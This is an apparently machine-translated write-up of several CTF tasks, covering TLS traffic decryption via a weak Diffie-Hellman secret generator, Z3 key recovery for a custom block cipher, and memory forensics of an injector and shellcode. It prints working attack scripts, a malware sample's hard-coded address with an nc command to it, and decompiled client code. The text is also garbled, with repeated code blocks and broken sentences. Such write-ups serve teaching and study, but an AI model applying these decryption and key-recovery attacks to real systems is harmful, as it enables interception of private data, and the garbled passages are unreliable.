( argc != 3 ) return 0xFFFFFFFFLL; v6 = atoi(argv[1]); v7 = atoi(argv[2]); if ( v6 < 0 || v7 < 0 || v7 <= v6 ) return 0xFFFFFFFFLL; v8 = 0LL; v9 = 0LL; v10 = 0LL; OPENSSL_init_ssl(0LL, 0LL); OPENSSL_init_crypto(2048LL, 0LL); v11 = ENGINE_get_default_DH(2048LL, 0LL); if ( v11 ) { if ( (unsigned int)ENGINE_init(v11) ) { v12 = ENGINE_get_DH(v11); if ( v12 ) { v8 = DH_meth_dup(v12); if ( v8 ) { if ( (unsigned int)DH_meth_set_generate_key(v8, dh_1) ) { if ( (unsigned int)ENGINE_set_DH(v11, v8) ) { v5 = TLSv1_2_client_method(v11, v8); v10 = SSL_CTX_new(v5); if ( (unsigned int)SSL_CTX_set_cipher_list(v10, "DHE-RSA-AES128-SHA256") ) { v9 = BIO_new_ssl_connect(v10); BIO_ctrl(v9, 100LL, 0LL, (__int64)"ssltest.a1exdandy.me:443"); if ( BIO_ctrl(v9, 101LL, 0LL, 0LL) >= 0 ) { BIO_ctrl(v9, 101LL, 0LL, 0LL); BIO_printf(v9, "GET /flag.jpg HTTP/1.1\n", argv); BIO_printf(v9, "Host: ssltest.a1exdandy.me\n"); BIO_printf(v9, "Range: bytes=%d-%d\n\n", (unsigned int)v6, (unsigned int)v7); v4 = (signed int)BIO_read(v9, &ptr, 1024LL); fwrite(&ptr, v4, 1uLL, stdout); } else { v4 = 1LL; fwrite("Can't do connect\n", 1uLL, 0x11uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set cipher list\n", 1uLL, 0x16uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set DH methods\n", 1uLL, 0x15uLL, stderr); } } else { v4 = 1LL; fwrite("Can't set generate_key method\n", 1uLL, 0x1EuLL, stderr); } } else { v4 = 1LL; fwrite("Can't dup dh meth\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } } else { v4 = 1LL; fwrite("Can't init engine\n", 1uLL, 0x12uLL, stderr); } } else { v4 = 1LL; fwrite("Can't get DH\n", 1uLL, 0xDuLL, stderr); } if ( v11 ) { ENGINE_finish(v11, v4); ENGINE_free(v11); } if ( v8 ) DH_meth_free(v8, v4); if ( v10 ) SSL_CTX_free(v10, v4); if ( v9 ) BIO_free_all(v9, v4); return 0LL; } 

    Es gab keine Bilder mit der Flagge auf dem Server, aber dump.pcap hatte eine Menge SSL-Verkehr, vermutlich mit Teilen des Bildes. Nach einer kurzen Überprüfung des Servers auf Heartbleed (um einen privaten Schlüssel zum Entschlüsseln des Datenverkehrs zu stehlen) wurde festgestellt, dass der Server nicht anfällig ist. Darüber hinaus SSL-Sitzungen nach Dump-Traffic und Kunden mit Chiffre DHE-RSA-AES128-SHA256, wo RSA nur zum Signieren verwendet wird, und der Schlüsselaustausch erfolgen im Rahmen der Regelung Diffie-Hellman-Algorithmus (RSA private Schlüssel des Servers in diesem Modus werden uns nicht helfen )


  2. Nach ein wenig Podirbastiv hat der Server die Datei https://ssltest.a1exdandy.me/x gefunden , bei der es sich um eine einfache Malware handelt. Die darin eingenähte Administratoradresse lautet 0x82C780B2697A0002 (0x82C780B2: 0x7a69 = 178.128.199.130 opinion1337). Bei der Verbindung mit Port 31337 wurde festgestellt, dass der Server drei Befehle unterstützt, von denen einige zusätzliche Argumente erfordern


     nc 178.128.199.130 31337 Yet another fucking heap task... Command: 1-3 1 - Index: - Size: 2 - Index: 3 - Index: - Length: 

    Mit diesem Hafen konnte jedoch nichts weiter unternommen werden, und höchstwahrscheinlich war es eine ablenkende Aufgabe.


  3. Nachdem ich mir den Client genau angesehen hatte, stellte ich fest, dass er einen benutzerdefinierten Diffie-Hellman-Geheimgenerator verwendet:


     int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } a1, (unsigned int) BITS_ind [i])) int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } ); int __fastcall rnd_work(__int64 a1) { __int64 v1; // rsi unsigned int i; // [rsp+10h] [rbp-10h] rnd_read(); BN_bin2bn(&RANDOM_512, 512LL, a1); BN_lshift1(a1, a1); v1 = (unsigned int)BITS_ind[0]; // BITS_ind dd 4096, 4095, 4081, 4069, 0 if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[0]) ) { for ( i = 0; i <= 4; ++i ) { if ( (unsigned int)BN_is_bit_set(a1, (unsigned int)BITS_ind[i]) ) { v1 = (unsigned int)BITS_ind[i]; BN_clear_bit(a1, v1); } else { v1 = (unsigned int)BITS_ind[i]; BN_set_bit(a1, v1); } } } if ( (unsigned int)((signed int)((unsigned __int64)BN_num_bits(a1) + 7) / 8) > 0x200 ) { printf("Err!", v1); exit(0); } BN_bn2binpad(a1, &RANDOM_512, 512LL); return rnd_write(); } 

    Zunächst wird das Geheimnis (512 Bytes) aus / dev / urandom gelesen und in der Statusdatei gespeichert. Bei jeder nachfolgenden Anfrage geschieht die folgende Magie mit einem Geheimnis:


     XOR = 2**4096 + 2**4095 + 2**4081 + 2**4069 + 1 CMP = 2**4096 state *= 2 if state > CMP: state ^= XOR 

    Das Geheimnis als lange Zahl wird um 1 Bit nach links verschoben, und wenn das höchstwertige Bit 1 war, liegt die Zahl bei einer Konstante von 5 Nicht-Null-Bits (XOR).



Beim Betrachten von pcap habe ich festgestellt, dass die vom Server eingehenden Diffie-Hellman-Parameter konstant sind:


 dh_g = 2 dh_p = 

Und jedes Mal, wenn eine Verbindung hergestellt wird, sendet der Client seinen öffentlichen Teil des Diffie-Hellman-Geheimnisses. Durch Vergleichen der öffentlichen Teile der Geheimnisse benachbarter Sitzungen können Sie das ursprüngliche Geheimnis des Clients und anschließend alle nachfolgenden Geheimnisse für jede Sitzung wiederherstellen:
Wenn das höchste Bit des Geheimnisses 0 ist, wird das Geheimnis in der nächsten Sitzung einfach zweimal größer und der öffentliche Teil wird modulo p quadriert. Somit war es möglich, das ursprüngliche Geheimnis (was aus / dev / urandom gelesen wurde) wiederherzustellen. Modulo p:


212030266574081313400816495535550771039880390539286135828101869037345869420205997453325815053364595553160004790759435995827592517178474188665111332189420650868610567156950459495593726196692754969821860322110444674367830706684288723400924718718744572072716445007789955072532338996543460287499773137785071615174311774659549109541904654568673143709587184128220277471318155757799759470829597214195494764332668485009525031739326801550115807698375007112649770412032760122054527000645191827995252649714951346955180619834783531787411998600610075175494746953236628125613177997145650859163985984159468674854699901927080143977813208682753148280937687469933353788992176066206254339449062166596095349440088429291135673308334245804375230115095159172312975679432750163246936266603077314220813042048063033927345613565227184333091534551071824033535159483541175958867122974738255966511008607723675431569961127852005437047813822454112416864211120323016008267853722731311026233323235121922969702016337164336853826598082855592007126727352041124911221048498141841625765390204460725231581416991152769176243658310857769293168120450725070030636638954553866903537931113666283836250525318798622872347839391197939468295124060629961250708172499966110406527347

sondern weil es einfach ist, die Geheimnisse aller anderen Sitzungen zu finden.


Und hier gab es Probleme:
A) Wireshark kann SSL nicht entschlüsseln, da es die Geheimnisse von Diffie-Hellman kennt, und es gab keine vorgefertigten Lösungen. Wir müssen das allgemeine Geheimnis von Diffie-Hellman (auch bekannt als Pre-Master-Key-Sitzungen) herausfinden und es verwenden, um eine Master-Key-Sitzung mit einem großen Fahrrad zu finden (ich hätte nicht gedacht, dass es Fahrräder in SSL gibt). Als Nächstes können Sie eine SSLKEYLOG-Datei erstellen, in die der Client zufällig (in jeder SSL-Sitzung) und der Hauptschlüssel geschrieben werden. Geben Sie diese in den WireShark-Einstellungen für die SSL-Entschlüsselung an und profitieren Sie theoretisch davon.


Es traten jedoch noch einige weitere Probleme auf:
B) PHP als zu langsam angesehen ( bcadd , bcpowmod Funktionen werden nicht verwendet ...), ich habe beschlossen, es in Python neu zu schreiben.
C) Die Formel zur Berechnung des Hauptschlüssels durch den Vor-Hauptschlüssel in menschlicher Form konnte nicht gefunden werden, ssl ist sehr schwer zu verstehen, ich konnte openssl auch nicht dazu bringen, die Ergebnisse von Zwischenberechnungen auszugeben. Als Ergebnis habe ich diesen Code , diese Beschreibung und eine Art RFC verwendet:


Infolgedessen konnte ich dies nach einem halben Tag überlagern (für mich konnte es nicht ohne Fahrräder auskommen):


 for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR ] .strip () + "" + Master_Taste for i in xrange(0, 4264): dh_secret = pow(srv_pubkeys[i], state, dh_p) dh_secret = hex(dh_secret)[2:-1] if len(dh_secret) % 2 : dh_secret = "0"+dh_secret while dh_secret[0:2] == "00": dh_secret = dh_secret[2:] dh_secret = dh_secret.decode("hex") seed = "master secret"+(cl_random[i].strip() + srv_random[i].strip()).decode("hex") A = seed master_key = "" for j in xrange(0, 2): A = hmac.new(dh_secret, A, hashlib.sha256).digest() master_key += hmac.new(dh_secret, A+seed, hashlib.sha256).digest() master_key = master_key[0:48].encode("hex") print "CLIENT_RANDOM " + cl_random[i].strip() + " " + master_key state *= 2 if state > CMP: state ^= XOR 

D) Um die verschiedenen Client zufällig herausreißen, ... der Sitzungen verwendet Wireshark Export nach CSV und suchen den rohen Datenverkehr, in csv bekam „...“.


E) zu entschlüsseln, die 4264-Sitzung von Wireshark viele Gigs von Arbeitern zu essen entschieden (8 er hat nicht), aber nichts, kann alle laufen auf leistungsfähigen Computern, aber nicht auf dem Laptop niedrig. Wenn Sie jedoch http-Objekte (Stücke entschlüsselten Bild) exportieren kann Wireshark nur die ersten 1000-Dateien speichern und dann endet er Nummerierung. Infolgedessen musste ich pcap in jeweils 5 Teile von 1000 tcp-Sitzungen aufteilen. Das Ergebnis war ein wunderschönes Bild, nachdem alle Teile geklebt wurden:



Alle Dateien, die der Gewinner zur Lösung der Aufgabe verwendet, finden Sie hier .


Tag 5. GESCHÜTZTE MUSCHEL


Gewinner
1. Platz2. Platz3. Platz
vosBartimaeousClo
Ebenfalls entschieden: Maxim Pronin, 0x3c3e, Tinkerlock, demidov_al, x @ secator, groke_in_the_sky, d3fl4t3

Von RuCTFE vorbereitete Aufgabe . Die Teilnehmer erhielten eine verschleierte ausführbare Datei mit einer Reihe von Anti-Debugging-Techniken. Die ausführbare Datei ähnelt einem SSH-Client, der mit einem zuvor bekannten Server verbunden ist. Die Aufgabe besteht darin, den Algorithmus dieser Datei zu verstehen, um die Ausführung von Befehlen auf dem Server zu erhalten. Autor Entscheidung angebliche Umgehung anti-Debugging und Analyse von Verschleierung.


Es ist bemerkenswert, dass der schnellste Teilnehmer die Aufgabe auf eine andere als die vom Autor geplante Weise gelöst hat und danach eine andere Problemumgehung gefunden hat. Sie können sehen, wie er es unter dem Spoiler unten getan hat.


Optionen für die Lösung von Aufgaben am fünften Tag (vos)


Tag 6. ENTSPERREN


die Gewinner
1. Platz2. Platz3. Platz
gotdaswagmedidrdriderSysenter

Der Einsatz am sechsten Tag wurde vom VolgaCTF- Team vorbereitet. Gegeben eine ausführbare Datei, die einen benutzerdefinierten kryptografischen Algorithmus implementiert. Die Aufgabe besteht darin, die in der Bedingung angegebene Datei zu entschlüsseln, die mit diesem Algorithmus verschlüsselt wurde, ohne einen bekannten Schlüssel zu haben.


Aufgabenlösung für den sechsten Tag (gotdaswag)

INTRO


Gegeben ein Archiv mit zwei Dateien, locker und secret.png.enc .


Die erste Datei ist eine ELF für Linux x86-64, die eine Datei und einen Verschlüsselungsschlüssel als Eingabe empfängt, und die zweite ist ein verschlüsseltes PNG- Image.


 # ./locker Required option 'input' missing Usage: ./locker [options] Options: -i, --input in.png Input file path -o, --output out.png.enc Output file path -k, --key 0004081516234200 Encryption key in hex -h, --help Print this help menu 

LOCKER


Nach der Analyse der Datei in der IDA finden wir den Verschlüsselungsalgorithmus in der Funktion project :: main .



Nachdem wir es untersucht haben, verstehen wir, dass dies eine Blockverschlüsselung (EZB) mit einer Blockgröße von 32 Bit , einer Schlüsselgröße von 64 Bit und einer Anzahl von Runden von 77 ist .


Python-Version

 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = (p >> 4) & 1 n |= (p >> 26) & 0xE0 n |= (p >> 22) & 0x10 n |= (p >> 13) & 8 n |= (p >> 7) & 4 n |= (p >> 4) & 2 x = p ^ k x ^= p >> 12 x ^= p >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: p &= 0xFFFFFFFE else: p |= 1 k = ror(k, 1, 64) p = ror(p, 1, 32) return p 

GEHEIMER SCHLÜSSEL


Wir wissen, dass die verschlüsselte Datei ein PNG- Bild ist.
Dementsprechend kennen wir einige Klartext-Chiffretexte in Form eines Datei-Headers (dies ist Standard für PNG).


Lassen Sie uns versuchen , den einfachen Weg zu gehen und die SMT-Löser (verwenden Z3 ) für den Verschlüsselungsschlüssel zu suchen.
Ändern Sie dazu den Code leicht und senden Sie ein Paar Klartext-Chiffretext an die Eingabe.


task6_key.py

 import sys import struct from z3 import * # PNG file signature (8 bytes) + IHDR chunk header (8 bytes) PLAIN_TEXT = b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A\x00\x00\x00\x0D\x49\x48\x44\x52' BLOCK_SIZE = 4 def encrypt(p, k, rounds=77): for i in range(0, rounds): n = LShR(p, 4) & 1 n |= LShR(p, 26) & 0xE0 n |= LShR(p, 22) & 0x10 n |= LShR(p, 13) & 8 n |= LShR(p, 7) & 4 n |= LShR(p, 4) & 2 x = k ^ ZeroExt(32, p) x ^= LShR(ZeroExt(32, p), 12) x ^= LShR(ZeroExt(32, p), 20) x &= 1 y = 1 << ZeroExt(32, n) y &= 0xBB880F0FC30F0000 y = LShR(y, ZeroExt(32, n)) y &= 1 p = If(x == y, p & 0xFFFFFFFE, p | 1) p = RotateRight(p, 1) k = RotateRight(k, 1) return p def qword_le_to_be(v): pv = struct.pack('<Q', v) uv = struct.unpack('>Q', pv) return uv[0] if len(sys.argv) < 2: sys.exit('no input file specified') with open(sys.argv[1], 'rb') as encrypted_file: k = BitVec('k', 64) key = k solver = Solver() for i in range(0, len(PLAIN_TEXT), BLOCK_SIZE): # prepare plain text and cipher text pairs pt = struct.unpack('<L', PLAIN_TEXT[i:i + BLOCK_SIZE])[0] ct = struct.unpack('<L', encrypted_file.read(BLOCK_SIZE))[0] p = BitVecVal(pt, 32) e = BitVecVal(ct, 32) solver.add(encrypt(p, k) == e) print('solving ...') if solver.check() == sat: encryption_key = solver.model()[key].as_long() print('key: %016X' % qword_le_to_be(encryption_key)) 

Lösung:


 > python task6_key.py "secret.png.enc" solving ... key: AE34C511A8238BCC 

UNLOCKER


.
.


task6_unlocker.py

 import sys import time import struct import binascii BLOCK_SIZE = 4 ror = lambda val, r_bits, max_bits: \ ((val & (2**max_bits-1)) >> r_bits%max_bits) | \ (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1)) rol = lambda val, r_bits, max_bits: \ (val << r_bits%max_bits) & (2**max_bits-1) | \ ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits))) def decrypt(e, k, rounds=77): dk = ror(k, 13, 64) for i in range(0, rounds): dk = rol(dk, 1, 64) e = rol(e, 1, 32) n = (e >> 4) & 1 n |= (e >> 26) & 0xE0 n |= (e >> 22) & 0x10 n |= (e >> 13) & 8 n |= (e >> 7) & 4 n |= (e >> 4) & 2 x = e ^ dk x ^= e >> 12 x ^= e >> 20 x &= 1 y = 1 << n y &= 0xBB880F0FC30F0000 y >>= n y &= 1 if x == y: e &= 0xFFFFFFFE else: e |= 1 return e if len(sys.argv) < 2: sys.exit('no input file specified') elif len(sys.argv) < 3: sys.exit('no output file specified') elif len(sys.argv) < 4: sys.exit('no encryption key specified') try: key = binascii.unhexlify(sys.argv[3]) key = struct.unpack('<Q', key)[0] except: sys.exit('non-hexadecimal encryption key') print('unlocking ...') start_time = time.time() with open(sys.argv[1], 'rb') as ef: with open(sys.argv[2], 'wb') as df: while True: ct = ef.read(BLOCK_SIZE) if not ct: break ct = struct.unpack('<L', ct)[0] pt = decrypt(ct, key) pt = struct.pack('<L', pt) df.write(pt) print('done, took %.3f seconds.' % (time.time() - start_time)) 

, .


 > python task6_unlocker.py "secret.png.enc" "secret.png" "AE34C511A8238BCC" unlocking ... done, took 49.669 seconds. 

secret.png


ZN{RA$T0GR@PHY_H3RTS}

Day 7. Beep Beep!


1
sysenter

SchoolCTF . , , . , , .


(sysenter)

Something that looks like VirtualBox RAM dump is provided to us.


We can try volatility, but it seems that it unable to locate required structures to restore Virtual Memory layout.



No process memory for us today, so we will have to work with fragmented memory.


First of all let's precache strings from the dump.


 strings > strings_ascii.txt strings -el > strings_wide.txt 

Most interesting one is command execution log:


 cd .. .\injector.exe 192.168.1.65 .\run.exe .\storage cd .\server\ .\run.exe block1 .\run.exe block0 cd Z:\zn_2019\ cd .\server\ cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd .. touch echo echo qwe echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt .\injector.exe 192.168.1.65 echo qwe > flag.txt cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ injector.exe 1921.68.1.65 injector.exe 192.68.1.65 ./injector.exe 192.68.1.65 .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\server\ run storage .\run.exe .\storage cd Z:\zn_2019\server\ .\run.exe block1 cd Z:\zn_2019\server\ .\run.exe block0 cd .. .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\injector.exe 192.168.1.65 .\injector2.exe 192.168.1.65 cd Z:\zn_2019\ .\Injector2.exe 192.168.1.65 '.\ConsoleApplication5 (2).exe' 192.168.1.65 

Not Important note:


Not sure what SIGN.MEDIA is, but it looks like a cached file list from VirtualBox Network Share (Is this from Windows Registry?).


 SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=138A400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=138A400 zn_2019\Injector2.exe SIGN.MEDIA=138A400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\NOTE1.exe SIGN.MEDIA=138A400 zn_2019\With_little_debug.exe SIGN.MEDIA=138A400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=138A400 zn_2019\injector.exe SIGN.MEDIA=138A400 zn_2019\nnnn.exe SIGN.MEDIA=138A400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=138A400 zn_2019\note.exe SIGN.MEDIA=138A400 zn_2019\note2.exe SIGN.MEDIA=138A400 zn_2019\note3.exe SIGN.MEDIA=138A400 zn_2019\note4.exe SIGN.MEDIA=138A400 zn_2019\random.exe SIGN.MEDIA=138A400 zn_2019\z.exe SIGN.MEDIA=17582C zn_2019\Injector2.exe SIGN.MEDIA=17582C zn_2019\injector.exe SIGN.MEDIA=196C2 zn_2019\server\run.exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C176B0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C176B0 zn_2019\Injector2.exe SIGN.MEDIA=1C176B0 zn_2019\injector.exe SIGN.MEDIA=1C176B0 zn_2019\note.exe SIGN.MEDIA=1C176B0 zn_2019\note2.exe SIGN.MEDIA=1C176B0 zn_2019\note3.exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1D02C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1D02C zn_2019\Injector2.exe SIGN.MEDIA=1C1D02C zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C1D02C zn_2019\With_little_debug.exe SIGN.MEDIA=1C1D02C zn_2019\injector.exe SIGN.MEDIA=1C1D02C zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C1D02C zn_2019\note.exe SIGN.MEDIA=1C1D02C zn_2019\note2.exe SIGN.MEDIA=1C1D02C zn_2019\note3.exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C1DAB0 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C1DAB0 zn_2019\Injector2.exe SIGN.MEDIA=1C1DAB0 zn_2019\With_little_debug.exe SIGN.MEDIA=1C1DAB0 zn_2019\injector.exe SIGN.MEDIA=1C1DAB0 zn_2019\note.exe SIGN.MEDIA=1C1DAB0 zn_2019\note2.exe SIGN.MEDIA=1C1DAB0 zn_2019\note3.exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C30058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C30058 zn_2019\Injector2.exe SIGN.MEDIA=1C30058 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C30058 zn_2019\With_little_debug.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\injector.exe SIGN.MEDIA=1C30058 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C30058 zn_2019\note.exe SIGN.MEDIA=1C30058 zn_2019\note2.exe SIGN.MEDIA=1C30058 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C89400 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C89400 zn_2019\Injector2.exe SIGN.MEDIA=1C89400 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C89400 zn_2019\NOTE1.exe SIGN.MEDIA=1C89400 zn_2019\With_little_debug.exe SIGN.MEDIA=1C89400 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C89400 zn_2019\injector.exe SIGN.MEDIA=1C89400 zn_2019\nnnn.exe SIGN.MEDIA=1C89400 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note.exe SIGN.MEDIA=1C89400 zn_2019\note2.exe SIGN.MEDIA=1C89400 zn_2019\note3.exe SIGN.MEDIA=1C89400 zn_2019\note4.exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=1C8A800 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=1C8A800 zn_2019\Injector2.exe SIGN.MEDIA=1C8A800 zn_2019\Is_it_you_suspended_or_me.exe SIGN.MEDIA=1C8A800 zn_2019\NOTE1.exe SIGN.MEDIA=1C8A800 zn_2019\With_little_debug.exe SIGN.MEDIA=1C8A800 zn_2019\im_spawned_you_so_i_should_kill_you.exe SIGN.MEDIA=1C8A800 zn_2019\injector.exe SIGN.MEDIA=1C8A800 zn_2019\nnnn.exe SIGN.MEDIA=1C8A800 zn_2019\not_so_sleepy_r_we.exe SIGN.MEDIA=1C8A800 zn_2019\note.exe SIGN.MEDIA=1C8A800 zn_2019\note2.exe SIGN.MEDIA=1C8A800 zn_2019\note3.exe SIGN.MEDIA=1C8A800 zn_2019\note4.exe SIGN.MEDIA=2D702C zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=3EDC2 zn_2019\server\a.exe SIGN.MEDIA=3EDC2 zn_2019\server\hui.exe SIGN.MEDIA=3EDC2 zn_2019\server\run.exe SIGN.MEDIA=4482C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=4482C zn_2019\PEview.exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=5B0058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=5B0058 zn_2019\Injector2.exe SIGN.MEDIA=5B0058 zn_2019\injector.exe SIGN.MEDIA=5B0058 zn_2019\note.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Discord.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Far.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\FileZillaFTPclient.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\InputDirector.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\KeePass.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\PicPick.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\Skype.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\UpdateManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\VBoxManager.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\idaq.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\javaw.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\lunix.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\paint.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\python3.7.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\r.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\svghost.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\tsm.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\usha.exe SIGN.MEDIA=A856FE8 zn_2019\server\hui\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=AB82C zn_2019\ConsoleApplication5.exe SIGN.MEDIA=AB82C zn_2019\injector.exe SIGN.MEDIA=B06D4C64 zn_2019\server\a.exe SIGN.MEDIA=B06D4C64 zn_2019\server\hui.exe SIGN.MEDIA=B06D4C64 zn_2019\server\run.exe SIGN.MEDIA=B06D4C64 zn_2019\server\video_xxx_kopati4_nadaval_ogurcov_kroshu.mp4.exe SIGN.MEDIA=BA802 zn_2019\server\run.exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5 (2).exe SIGN.MEDIA=E00058 zn_2019\ConsoleApplication5.exe SIGN.MEDIA=E00058 zn_2019\Injector2.exe SIGN.MEDIA=E00058 zn_2019\injector.exe SIGN.MEDIA=E00058 zn_2019\note.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E00058 zn_2019\note2.exe SIGN.MEDIA=E9982 zn_2019\server\run.exe 

I used my old tool to get filesystem structure out of NTFS records (a lot of FILE records usually cached in RAM).




data_storage is small enough to contain some resident $DATA inside FILE record, so we can extract it.


This file contains shellcode. All it does is resolving CreateNamedPipeA by hash using special function (see Figure below) and calling it with "\.\pipe\zn_shell_stor" argument.



I highlighted part of this function, this bytes can be used to located other 24 shellcodes inside memory dump.


One of shellcode #21 contained references to other, it is probably the main one.


